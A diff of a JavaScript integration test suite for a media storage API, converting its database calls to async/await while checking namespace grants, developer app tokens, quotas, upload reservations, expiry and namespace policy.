'community.avatars'), '?namespace= narrows the list');-- r = await call('GET', `${C}?namespace=community`, { bearer: onlyAvatars(['media.object.list']) });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied']);-- r = await call('POST', '/api/v2/community/jobs', { bearer: onlyAvatars(['media.derivative.create']), body: { type: 'object.hash', object_id: avatar.id } });-- assert.ok(r.status === 202 || r.status === 400, `transform on an object in the granted child: ${JSON.stringify(r.body)}`);-- assert.notStrictEqual(r.body.code, 'capability.namespace_denied');-- r = await call('POST', '/api/v2/community/jobs', { bearer: onlyAvatars(['media.derivative.create']), body: { type: 'invariant.scan' } });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a tenant-wide job is the root\'s');-- // At most MEDIA_NAMESPACE_MAX_CHILDREN (6) below a root: avatars, live, then four more.-- for (const n of ['c1', 'c2', 'c3.d']) {-- r = await call('POST', C, { bearer: svc(UP, ['community.*']), body: { namespace: n } });-- assert.strictEqual(r.status, 201, `${n}: ${JSON.stringify(r.body)}`);-- }-- r = await call('POST', C, { bearer: svc(UP, ['community.*']), body: { namespace: 'c4' } });-- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.namespaces_exceeded']);-- console.log('✅ child namespaces: created by the first upload, granted and listed per namespace, bounded per tenant');++ // ── 3. Child namespaces; grants that name only a child ──++ r = await store(C, svc(UP, ['community.*']), Buffer.from('an avatar'), { namespace: 'avatars' });++ assert.deepStrictEqual([r.status, r.body.namespace], [200, 'community.avatars'], 'a relative name lands below the root');++ const avatar = r.body;++ assert.strictEqual((await namespaces.get('community.avatars')).parent, 'community');++ r = await call('POST', C, { bearer: svc(UP), body: { namespace: 'avatars' } });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a grant of the root alone is not its children');++ for (const bad of ['Avatars', 'a..b', 'a.b.c.d', '../x', 'live', '-x']) {++ r = await call('POST', C, { bearer: svc(UP, ['community.*']), body: { namespace: bad } });++ if (bad === 'live') { assert.deepStrictEqual([r.status, r.body.namespace === undefined], [201, true]); continue; } // relative: community.live++ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.namespace.invalid'], bad);++ }++ assert.ok(await namespaces.get('community.live'), '"live" is relative to the tenant');++ const onlyAvatars = (cap) => svc(cap, ['community.avatars']);++ r = await call('POST', C, { bearer: onlyAvatars(UP), body: {} });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a child grant does not write the root');++ r = await store(C, onlyAvatars(UP), Buffer.from('another avatar'), { namespace: 'community.avatars' });++ assert.deepStrictEqual([r.status, r.body.namespace], [200, 'community.avatars'], 'the full name works too');++ r = await call('GET', C, { bearer: onlyAvatars(['media.object.list']) });++ assert.ok(r.body.objects.length === 2 && r.body.objects.every(o => o.namespace === 'community.avatars'), 'a child grant lists only its namespace');++ r = await call('GET', `${C}/${rootObj.id}`, { bearer: onlyAvatars(['media.object.read']) });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'nor reads the root');++ r = await call('GET', `${C}?namespace=avatars`, { bearer: svc(['media.object.list'], ['community.*']) });++ assert.ok(r.body.objects.length === 2 && r.body.objects.every(o => o.namespace === 'community.avatars'), '?namespace= narrows the list');++ r = await call('GET', `${C}?namespace=community`, { bearer: onlyAvatars(['media.object.list']) });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied']);++ r = await call('POST', '/api/v2/community/jobs', { bearer: onlyAvatars(['media.derivative.create']), body: { type: 'object.hash', object_id: avatar.id } });++ assert.ok(r.status === 202 || r.status === 400, `transform on an object in the granted child: ${JSON.stringify(r.body)}`);++ assert.notStrictEqual(r.body.code, 'capability.namespace_denied');++ r = await call('POST', '/api/v2/community/jobs', { bearer: onlyAvatars(['media.derivative.create']), body: { type: 'invariant.scan' } });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a tenant-wide job is the root\'s');++ // At most MEDIA_NAMESPACE_MAX_CHILDREN (6) below a root: avatars, live, then four more.++ for (const n of ['c1', 'c2', 'c3.d']) {++ r = await call('POST', C, { bearer: svc(UP, ['community.*']), body: { namespace: n } });++ assert.strictEqual(r.status, 201, `${n}: ${JSON.stringify(r.body)}`);++ }++ r = await call('POST', C, { bearer: svc(UP, ['community.*']), body: { namespace: 'c4' } });++ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.namespaces_exceeded']);++ console.log('✅ child namespaces: created by the first upload, granted and listed per namespace, bounded per tenant');-- // ── 4. Developer app tokens: app.<project_id>.* ──-- const A = `/api/v2/${PA}/objects`;-- r = await store(A, appTok(), Buffer.from('legacy ns'), { namespace: 'uploads' });-- assert.deepStrictEqual([r.status, r.body.namespace], [200, `app.${PA}.uploads`], 'a legacy ns [project_id] means the whole project');-- r = await store(A, appTok({ ns: [PA, `app.${PA}.*`] }), Buffer.from('new ns'));-- assert.deepStrictEqual([r.status, r.body.namespace], [200, `app.${PA}`], 'the ns Network issues now');-- r = await call('POST', A, { bearer: appTok({ ns: [`app.${PA}.uploads`] }), body: {} });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a token for one child of the project');-- r = await call('POST', A, { bearer: appTok({ ns: [`app.${PA}.uploads`] }), body: { namespace: 'uploads' } });-- assert.strictEqual(r.status, 201);-- r = await call('POST', A, { bearer: appTok({ ns: [`app.${PB}.*`] }), body: {} });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'another project\'s namespace');-- r = await call('POST', A, { bearer: appTok(), body: { namespace: 'sandbox' } });-- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.namespace.invalid'], 'the sandbox tenant is not a child of production');-- r = await store(A, appTok({ env: 'sandbox' }), Buffer.from('sandbox'), { namespace: 'uploads' });-- assert.deepStrictEqual([r.status, r.body.namespace], [200, `app.${PA}.sandbox.uploads`], 'sandbox tokens work in the sandbox tenant');-- r = await call('GET', `/api/v2/${PA}/namespaces`, { bearer: appTok() });-- assert.deepStrictEqual(r.body.namespaces.map(n => n.namespace), [`app.${PA}`, `app.${PA}.uploads`], 'the owner reads its production namespaces');-- const rootNs = r.body.namespaces[0];-- assert.deepStrictEqual([rootNs.root, rootNs.owner, rootNs.quota.bytes, rootNs.quota.bytes_from, rootNs.usage.used_objects, rootNs.usage.used_bytes],-- [true, `project:${PA}`, 1000000, 'tenant', 3, 10 + 9 + 6], 'root usage covers the tenant; the quota is the tenant\'s');-- assert.strictEqual(r.body.namespaces[1].usage.reserved_objects, 1, 'the open upload in uploads is a reservation');-- r = await call('GET', `/api/v2/${PA}/namespaces/uploads`, { bearer: appTok({ cap: ['media.object.read'] }) });-- assert.deepStrictEqual([r.status, r.body.namespace, r.body.usage.used_bytes], [200, `app.${PA}.uploads`, 9]);-- r = await call('GET', `/api/v2/${PA}/namespaces`, { bearer: appTok({ env: 'sandbox' }) });-- assert.deepStrictEqual(r.body.namespaces.map(n => [n.namespace, n.sandbox]), [[`app.${PA}.sandbox`, true], [`app.${PA}.sandbox.uploads`, true]]);-- r = await call('GET', `/api/v2/${PA}/namespaces/nope`, { bearer: appTok() });-- assert.deepStrictEqual([r.status, r.body.code], [404, 'media.namespace.not_found']);-- r = await call('GET', '/api/v2/community/namespaces', { bearer: onlyAvatars(['media.object.list']) });-- assert.deepStrictEqual(r.body.namespaces.map(n => n.namespace), ['community.avatars'], 'a child grant sees its namespace only');-- r = await call('GET', '/api/v2/community/namespaces/community', { bearer: onlyAvatars(['media.object.read']) });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied']);-- r = await call('GET', '/api/v2/live/namespaces');-- assert.deepStrictEqual(r.body.namespaces.map(n => n.namespace), ['live', 'live.legacy', 'live.legacy.old'], 'the app key reads every namespace of its tenant');-- console.log('✅ developer tenants: app.<project_id>.* (legacy and new ns), sandbox apart; owner reads namespaces and usage');++ // ── 4. Developer app tokens: app.<project_id>.* ──++ const A = `/api/v2/${PA}/objects`;++ r = await store(A, appTok(), Buffer.from('legacy ns'), { namespace: 'uploads' });++ assert.deepStrictEqual([r.status, r.body.namespace], [200, `app.${PA}.uploads`], 'a legacy ns [project_id] means the whole project');++ r = await store(A, appTok({ ns: [PA, `app.${PA}.*`] }), Buffer.from('new ns'));++ assert.deepStrictEqual([r.status, r.body.namespace], [200, `app.${PA}`], 'the ns Network issues now');++ r = await call('POST', A, { bearer: appTok({ ns: [`app.${PA}.uploads`] }), body: {} });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a token for one child of the project');++ r = await call('POST', A, { bearer: appTok({ ns: [`app.${PA}.uploads`] }), body: { namespace: 'uploads' } });++ assert.strictEqual(r.status, 201);++ r = await call('POST', A, { bearer: appTok({ ns: [`app.${PB}.*`] }), body: {} });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'another project\'s namespace');++ r = await call('POST', A, { bearer: appTok(), body: { namespace: 'sandbox' } });++ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.namespace.invalid'], 'the sandbox tenant is not a child of production');++ r = await store(A, appTok({ env: 'sandbox' }), Buffer.from('sandbox'), { namespace: 'uploads' });++ assert.deepStrictEqual([r.status, r.body.namespace], [200, `app.${PA}.sandbox.uploads`], 'sandbox tokens work in the sandbox tenant');++ r = await call('GET', `/api/v2/${PA}/namespaces`, { bearer: appTok() });++ assert.deepStrictEqual(r.body.namespaces.map(n => n.namespace), [`app.${PA}`, `app.${PA}.uploads`], 'the owner reads its production namespaces');++ const rootNs = r.body.namespaces[0];++ assert.deepStrictEqual([rootNs.root, rootNs.owner, rootNs.quota.bytes, rootNs.quota.bytes_from, rootNs.usage.used_objects, rootNs.usage.used_bytes],++ [true, `project:${PA}`, 1000000, 'tenant', 3, 10 + 9 + 6], 'root usage covers the tenant; the quota is the tenant\'s');++ assert.strictEqual(r.body.namespaces[1].usage.reserved_objects, 1, 'the open upload in uploads is a reservation');++ r = await call('GET', `/api/v2/${PA}/namespaces/uploads`, { bearer: appTok({ cap: ['media.object.read'] }) });++ assert.deepStrictEqual([r.status, r.body.namespace, r.body.usage.used_bytes], [200, `app.${PA}.uploads`, 9]);++ r = await call('GET', `/api/v2/${PA}/namespaces`, { bearer: appTok({ env: 'sandbox' }) });++ assert.deepStrictEqual(r.body.namespaces.map(n => [n.namespace, n.sandbox]), [[`app.${PA}.sandbox`, true], [`app.${PA}.sandbox.uploads`, true]]);++ r = await call('GET', `/api/v2/${PA}/namespaces/nope`, { bearer: appTok() });++ assert.deepStrictEqual([r.status, r.body.code], [404, 'media.namespace.not_found']);++ r = await call('GET', '/api/v2/community/namespaces', { bearer: onlyAvatars(['media.object.list']) });++ assert.deepStrictEqual(r.body.namespaces.map(n => n.namespace), ['community.avatars'], 'a child grant sees its namespace only');++ r = await call('GET', '/api/v2/community/namespaces/community', { bearer: onlyAvatars(['media.object.read']) });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied']);++ r = await call('GET', '/api/v2/live/namespaces');++ assert.deepStrictEqual(r.body.namespaces.map(n => n.namespace), ['live', 'live.legacy', 'live.legacy.old'], 'the app key reads every namespace of its tenant');++ console.log('✅ developer tenants: app.<project_id>.* (legacy and new ns), sandbox apart; owner reads namespaces and usage');-- // ── 5. Quotas: per namespace, reserved at init, reconciled at complete, released, swept ──-- const T = '/api/v2/tiny/objects';-- db.run("INSERT INTO media_namespaces (namespace, app_id, parent, owner, quota_bytes, quota_objects) VALUES ('tiny.box', 'tiny', 'tiny', 'service:tiny', 30, 2)");-- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 31 } });-- assert.deepStrictEqual([r.status, r.body.code, r.body.namespace, r.body.quota_bytes], [413, 'media.quota.exceeded', 'tiny.box', 30], 'the child\'s own byte quota');-- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 20 } });-- assert.strictEqual(r.status, 201);-- const boxed = r.body;-- assert.strictEqual(namespaces.reservation(boxed.id).bytes, 20, 'init reserves the declared size');-- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 11 } });-- assert.strictEqual(r.status, 413, 'the reservation counts');-- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 5 } });-- assert.strictEqual(r.status, 201);-- const second = r.body;-- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 1 } });-- assert.deepStrictEqual([r.status, r.body.code, r.body.quota_objects], [413, 'media.quota.objects_exceeded', 2], 'the child\'s object quota');-- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 76 } });-- assert.deepStrictEqual([r.status, r.body.namespace], [413, 'tiny'], 'the tenant quota (100) covers its children\'s reservations (25)');-- // The bytes replace the declared size; complete settles the reservation, and the ready object counts.-- r = await call('PUT', local(boxed.upload.url), { bearer: null, raw: Buffer.alloc(20, 1) });-- assert.strictEqual(r.status, 200);-- r = await call('POST', `${T}/${boxed.id}/complete`, { bearer: 'tiny-key', body: {} });-- assert.strictEqual(r.status, 200);-- assert.strictEqual(namespaces.reservation(boxed.id), undefined, 'settled at complete');-- let box = namespaces.get('tiny.box');-- assert.deepStrictEqual([box.used_bytes, box.used_objects, box.reserved_bytes, box.reserved_objects], [20, 1, 5, 1], 'the snapshot is reconciled at complete');-- // Complete checks the real size: an undeclared upload that grew past the room is refused there.-- r = await call('POST', T, { bearer: 'tiny-key', body: {} });-- const grow = r.body;-- r = await call('PUT', `${T}/${grow.id}/content`, { bearer: 'tiny-key', raw: Buffer.alloc(76, 2) });-- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'the stored bytes are checked (20 + 5 + 76 > 100)');-- r = await call('PUT', `${T}/${grow.id}/content`, { bearer: 'tiny-key', raw: Buffer.alloc(40, 2) });-- assert.strictEqual(r.status, 200);-- assert.strictEqual(namespaces.reservation(grow.id).bytes, 40, 're-reserved with the bytes stored');-- db.run("UPDATE apps SET quota_bytes = 60 WHERE app_id = 'tiny'");-- r = await call('POST', `${T}/${grow.id}/complete`, { bearer: 'tiny-key', body: {} });-- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'and reconciled again at complete (20 + 5 + 40 > 60)');-- db.run("UPDATE apps SET quota_bytes = 100 WHERE app_id = 'tiny'");-- r = await call('POST', `${T}/${grow.id}/complete`, { bearer: 'tiny-key', body: {} });-- assert.strictEqual(r.status, 200);-- // Deleting an upload in progress frees its reservation.-- r = await call('DELETE', `${T}/${second.id}`, { bearer: 'tiny-key' });-- assert.strictEqual(r.status, 200);-- assert.strictEqual(namespaces.reservation(second.id), undefined, 'a deleted upload holds nothing');-- box = namespaces.get('tiny.box');-- assert.deepStrictEqual([box.reserved_bytes, box.reserved_objects], [0, 0]);++ // ── 5. Quotas: per namespace, reserved at init, reconciled at complete, released, swept ──++ const T = '/api/v2/tiny/objects';++ await db.run("INSERT INTO media_namespaces (namespace, app_id, parent, owner, quota_bytes, quota_objects) VALUES ('tiny.box', 'tiny', 'tiny', 'service:tiny', 30, 2)");++ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 31 } });++ assert.deepStrictEqual([r.status, r.body.code, r.body.namespace, r.body.quota_bytes], [413, 'media.quota.exceeded', 'tiny.box', 30], 'the child\'s own byte quota');++ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 20 } });++ assert.strictEqual(r.status, 201);++ const boxed = r.body;++ assert.strictEqual((await namespaces.reservation(boxed.id)).bytes, 20, 'init reserves the declared size');++ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 11 } });++ assert.strictEqual(r.status, 413, 'the reservation counts');++ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 5 } });++ assert.strictEqual(r.status, 201);++ const second = r.body;++ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 1 } });++ assert.deepStrictEqual([r.status, r.body.code, r.body.quota_objects], [413, 'media.quota.objects_exceeded', 2], 'the child\'s object quota');++ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 76 } });++ assert.deepStrictEqual([r.status, r.body.namespace], [413, 'tiny'], 'the tenant quota (100) covers its children\'s reservations (25)');++ // The bytes replace the declared size; complete settles the reservation, and the ready object counts.++ r = await call('PUT', local(boxed.upload.url), { bearer: null, raw: Buffer.alloc(20, 1) });++ assert.strictEqual(r.status, 200);++ r = await call('POST', `${T}/${boxed.id}/complete`, { bearer: 'tiny-key', body: {} });++ assert.strictEqual(r.status, 200);++ assert.strictEqual(await namespaces.reservation(boxed.id), undefined, 'settled at complete');++ let box = await namespaces.get('tiny.box');++ assert.deepStrictEqual([box.used_bytes, box.used_objects, box.reserved_bytes, box.reserved_objects], [20, 1, 5, 1], 'the snapshot is reconciled at complete');++ // Complete checks the real size: an undeclared upload that grew past the room is refused there.++ r = await call('POST', T, { bearer: 'tiny-key', body: {} });++ const grow = r.body;++ r = await call('PUT', `${T}/${grow.id}/content`, { bearer: 'tiny-key', raw: Buffer.alloc(76, 2) });++ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'the stored bytes are checked (20 + 5 + 76 > 100)');++ r = await call('PUT', `${T}/${grow.id}/content`, { bearer: 'tiny-key', raw: Buffer.alloc(40, 2) });++ assert.strictEqual(r.status, 200);++ assert.strictEqual((await namespaces.reservation(grow.id)).bytes, 40, 're-reserved with the bytes stored');++ await db.run("UPDATE apps SET quota_bytes = 60 WHERE app_id = 'tiny'");++ r = await call('POST', `${T}/${grow.id}/complete`, { bearer: 'tiny-key', body: {} });++ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'and reconciled again at complete (20 + 5 + 40 > 60)');++ await db.run("UPDATE apps SET quota_bytes = 100 WHERE app_id = 'tiny'");++ r = await call('POST', `${T}/${grow.id}/complete`, { bearer: 'tiny-key', body: {} });++ assert.strictEqual(r.status, 200);++ // Deleting an upload in progress frees its reservation.++ r = await call('DELETE', `${T}/${second.id}`, { bearer: 'tiny-key' });++ assert.strictEqual(r.status, 200);++ assert.strictEqual(await namespaces.reservation(second.id), undefined, 'a deleted upload holds nothing');++ box = await namespaces.get('tiny.box');++ assert.deepStrictEqual([box.reserved_bytes, box.reserved_objects], [0, 0]);-- // Multipart: the session holds the declared size; abort releases it; a new session reserves again.-- db.run("UPDATE apps SET quota_bytes = ? WHERE app_id = 'tiny'", [3 * 1024 * 1024]);-- db.run("UPDATE media_namespaces SET quota_bytes = NULL, quota_objects = NULL WHERE namespace = 'tiny.box'");-- const MB = 1024 * 1024;-- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 2 * MB, multipart: true, part_size: MB } });-- assert.strictEqual(r.status, 201, JSON.stringify(r.body));-- const mp = r.body;-- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 2 * MB } });-- assert.strictEqual(r.status, 413, 'the open session holds its 2 MB');-- r = await call('DELETE', local(mp.upload.multipart.abort_url), { bearer: null });-- assert.strictEqual(r.status, 200);-- assert.strictEqual(namespaces.reservation(mp.id), undefined, 'abort released it');-- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 2 * MB, multipart: true, part_size: MB } });-- assert.strictEqual(r.status, 201, 'the room is back');-- const other = r.body;-- r = await call('POST', `${T}/${mp.id}/multipart`, { bearer: 'tiny-key', body: { part_size: MB } });-- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'a new session for the aborted upload is checked again');-- r = await call('DELETE', local(other.upload.multipart.abort_url), { bearer: null });-- r = await call('POST', `${T}/${mp.id}/multipart`, { bearer: 'tiny-key', body: { part_size: MB } });-- assert.strictEqual(r.status, 201, 'and reserves again when there is room');-- assert.strictEqual(namespaces.reservation(mp.id).bytes, 2 * MB);++ // Multipart: the session holds the declared size; abort releases it; a new session reserves again.++ await db.run("UPDATE apps SET quota_bytes = ? WHERE app_id = 'tiny'", [3 * 1024 * 1024]);++ await db.run("UPDATE media_namespaces SET quota_bytes = NULL, quota_objects = NULL WHERE namespace = 'tiny.box'");++ const MB = 1024 * 1024;++ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 2 * MB, multipart: true, part_size: MB } });++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ const mp = r.body;++ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 2 * MB } });++ assert.strictEqual(r.status, 413, 'the open session holds its 2 MB');++ r = await call('DELETE', local(mp.upload.multipart.abort_url), { bearer: null });++ assert.strictEqual(r.status, 200);++ assert.strictEqual(await namespaces.reservation(mp.id), undefined, 'abort released it');++ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 2 * MB, multipart: true, part_size: MB } });++ assert.strictEqual(r.status, 201, 'the room is back');++ const other = r.body;++ r = await call('POST', `${T}/${mp.id}/multipart`, { bearer: 'tiny-key', body: { part_size: MB } });++ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'a new session for the aborted upload is checked again');++ r = await call('DELETE', local(other.upload.multipart.abort_url), { bearer: null });++ r = await call('POST', `${T}/${mp.id}/multipart`, { bearer: 'tiny-key', body: { part_size: MB } });++ assert.strictEqual(r.status, 201, 'and reserves again when there is room');++ assert.strictEqual((await namespaces.reservation(mp.id)).bytes, 2 * MB);-- // Expiry: an abandoned upload is failed and its bytes freed; an open session keeps its upload.-- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 3 } });-- const abandoned = r.body;-- await call('PUT', local(abandoned.upload.url), { bearer: null, raw: Buffer.from('abc') });-- const file = model.objectFilePath(model.getObject(abandoned.id));-- assert.ok(fs.existsSync(file));-- db.run("UPDATE media_quota_reservations SET expires_at = datetime('now', '-1 hour') WHERE object_id IN (?, ?)", [abandoned.id, mp.id]);-- const swept = namespaces.expireReservations();-- assert.deepStrictEqual(swept, { expired: 1, dropped: 0 }, 'only the upload with no open session');-- const gone = model.getObject(abandoned.id);-- assert.deepStrictEqual([gone.lifecycle_status, JSON.parse(gone.metadata).failure, fs.existsSync(file), namespaces.reservation(abandoned.id)],-- ['failed', 'upload_expired', false, undefined]);-- assert.ok(namespaces.reservation(mp.id), 'the multipart upload keeps its reservation while its session is open');-- r = await call('PUT', local(abandoned.upload.url), { bearer: null, raw: Buffer.from('abc') });-- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.not_uploading'], 'an expired upload takes no more bytes');++ // Expiry: an abandoned upload is failed and its bytes freed; an open session keeps its upload.++ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 3 } });++ const abandoned = r.body;++ await call('PUT', local(abandoned.upload.url), { bearer: null, raw: Buffer.from('abc') });++ const file = model.objectFilePath(await model.getObject(abandoned.id));++ assert.ok(fs.existsSync(file));++ await db.run("UPDATE media_quota_reservations SET expires_at = datetime('now', '-1 hour') WHERE object_id IN (?, ?)", [abandoned.id, mp.id]);++ const swept = await namespaces.expireReservations();++ assert.deepStrictEqual(swept, { expired: 1, dropped: 0 }, 'only the upload with no open session');++ const gone = await model.getObject(abandoned.id);++ assert.deepStrictEqual([gone.lifecycle_status, JSON.parse(gone.metadata).failure, fs.existsSync(file), await namespaces.reservation(abandoned.id)],++ ['failed', 'upload_expired', false, undefined]);++ assert.ok(await namespaces.reservation(mp.id), 'the multipart upload keeps its reservation while its session is open');++ r = await call('PUT', local(abandoned.upload.url), { bearer: null, raw: Buffer.from('abc') });++ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.not_uploading'], 'an expired upload takes no more bytes');-- // v1 files count against the root's quotas, objects included.-- db.run("UPDATE media_namespaces SET quota_objects = 1 WHERE namespace = 'tiny'");-- const fd = new FormData();-- fd.append('file', new Blob([Buffer.from('v1 bytes')], { type: 'text/plain' }), 'x.txt');-- const f = await fetch(`${base}/api/v1/tiny/files`, { method: 'POST', headers: { authorization: 'Bearer tiny-key' }, body: fd });-- const fb = await f.json();-- assert.deepStrictEqual([f.status, fb.code, fb.namespace], [413, 'media.quota.objects_exceeded', 'tiny'], 'the v1 answer keeps its shape and says why');-- db.run("UPDATE media_namespaces SET quota_objects = NULL WHERE namespace = 'tiny'");++ // v1 files count against the root's quotas, objects included.++ await db.run("UPDATE media_namespaces SET quota_objects = 1 WHERE namespace = 'tiny'");++ const fd = new FormData();++ fd.append('file', new Blob([Buffer.from('v1 bytes')], { type: 'text/plain' }), 'x.txt');++ const f = await fetch(`${base}/api/v1/tiny/files`, { method: 'POST', headers: { authorization: 'Bearer tiny-key' }, body: fd });++ const fb = await f.json();++ assert.deepStrictEqual([f.status, fb.code, fb.namespace], [413, 'media.quota.objects_exceeded', 'tiny'], 'the v1 answer keeps its shape and says why');++ await db.run("UPDATE media_namespaces SET quota_objects = NULL WHERE namespace = 'tiny'");-- // Policy: kinds, visibilities and max_object_bytes, children inheriting and overriding.-- db.run(`UPDATE media_namespaces SET policy = '{"kinds":["file","asset"],"max_object_bytes":10}' WHERE namespace = 'tiny'`);-- db.run(`UPDATE media_namespaces SET policy = '{"visibilities":["private"],"max_object_bytes":0}' WHERE namespace = 'tiny.box'`);-- r = await call('POST', T, { bearer: 'tiny-key', body: { kind: 'vod' } });-- assert.deepStrictEqual([r.status, r.body.code], [422, 'media.namespace.policy_denied'], 'kinds');-- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 11 } });-- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'max_object_bytes');-- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 11, visibility: 'private' } });-- assert.strictEqual(r.status, 201, 'a child overrides max_object_bytes');-- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', kind: 'vod', visibility: 'private' } });-- assert.strictEqual(r.status, 422, 'and inherits kinds');-- r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', visibility: 'public' } });-- assert.deepStrictEqual([r.status, r.body.code], [422, 'media.namespace.policy_denied'], 'visibilities');-- assert.ok(namespaces.validatePolicy({ kinds: ['file'], strict_verbs: true }).policy);-- assert.ok(namespaces.validatePolicy({ nope: 1 }).error && namespaces.validatePolicy({ kinds: ['x'] }).error && namespaces.validatePolicy({ max_object_bytes: -1 }).error);++ // Policy: kinds, visibilities and max_object_bytes, children inheriting and overriding.++ await db.run(`UPDATE media_namespaces SET policy = '{"kinds":["file","asset"],"max_object_bytes":10}' WHERE namespace = 'tiny'`);++ await db.run(`UPDATE media_namespaces SET policy = '{"visibilities":["private"],"max_object_bytes":0}' WHERE namespace = 'tiny.box'`);++ r = await call('POST', T, { bearer: 'tiny-key', body: { kind: 'vod' } });++ assert.deepStrictEqual([r.status, r.body.code], [422, 'media.namespace.policy_denied'], 'kinds');++ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 11 } });++ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'max_object_bytes');++ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', size_bytes: 11, visibility: 'private' } });++ assert.strictEqual(r.status, 201, 'a child overrides max_object_bytes');++ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', kind: 'vod', visibility: 'private' } });++ assert.strictEqual(r.status, 422, 'and inherits kinds');++ r = await call('POST', T, { bearer: 'tiny-key', body: { namespace: 'box', visibility: 'public' } });++ assert.deepStrictEqual([r.status, r.body.code], [422, 'media.namespace.policy_denied'], 'visibilities');++ assert.ok(namespaces.validatePolicy({ kinds: ['file'], strict_verbs: true }).policy);++ assert.ok(namespaces.validatePolicy({ nope: 1 }).error && namespaces.validatePolicy({ kinds: ['x'] }).error && namespaces.validatePolicy({ max_object_bytes: -1 }).error);-- // The snapshot follows the rows when reconciled.-- db.run("UPDATE media_namespaces SET used_bytes = 999 WHERE namespace = 'tiny'");-- assert.ok(namespaces.reconcileAll() >= 3);-- assert.strictEqual(namespaces.get('tiny').used_bytes, model.usedBytes('tiny') - namespaces.get('tiny').reserved_bytes, 'the root\'s snapshot is the tenant\'s usage');-- console.log('✅ quotas: per namespace and tenant, bytes and objects; reserved, re-reserved, settled, released, swept; policy enforced');++ // The snapshot follows the rows when reconciled.++ await db.run("UPDATE media_namespaces SET used_bytes = 999 WHERE namespace = 'tiny'");++ assert.ok(await namespaces.reconcileAll() >= 3);++ assert.strictEqual((await namespaces.get('tiny')).used_bytes, await model.usedBytes('tiny') - (await namespaces.get('tiny')).reserved_bytes, 'the root\'s snapshot is the tenant\'s usage');++ console.log('✅ quotas: per namespace and tenant, bytes and objects; reserved, re-reserved, settled, released, swept; policy enforced');-- server.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('namespaces and grants: all checks passed');++ server.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('namespaces and grants: all checks passed');++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -8,49 +8,51 @@ const fs = require('fs');const path = require('path');const http = require('http');const express = require('express');--const { notFound, CSP } = require('../server/not-found');++(async () => {++ const { notFound, CSP } = require('../server/not-found');--function send(base, p, method = 'GET') {-- return new Promise((resolve, reject) => {-- const req = http.request(base + p, { method, headers: { accept: 'text/html' } }, (res) => {-- let b = ''; res.on('data', (d) => { b += d; });-- res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body: b }));++ function send(base, p, method = 'GET') {++ return new Promise((resolve, reject) => {++ const req = http.request(base + p, { method, headers: { accept: 'text/html' } }, (res) => {++ let b = ''; res.on('data', (d) => { b += d; });++ res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body: b }));++ 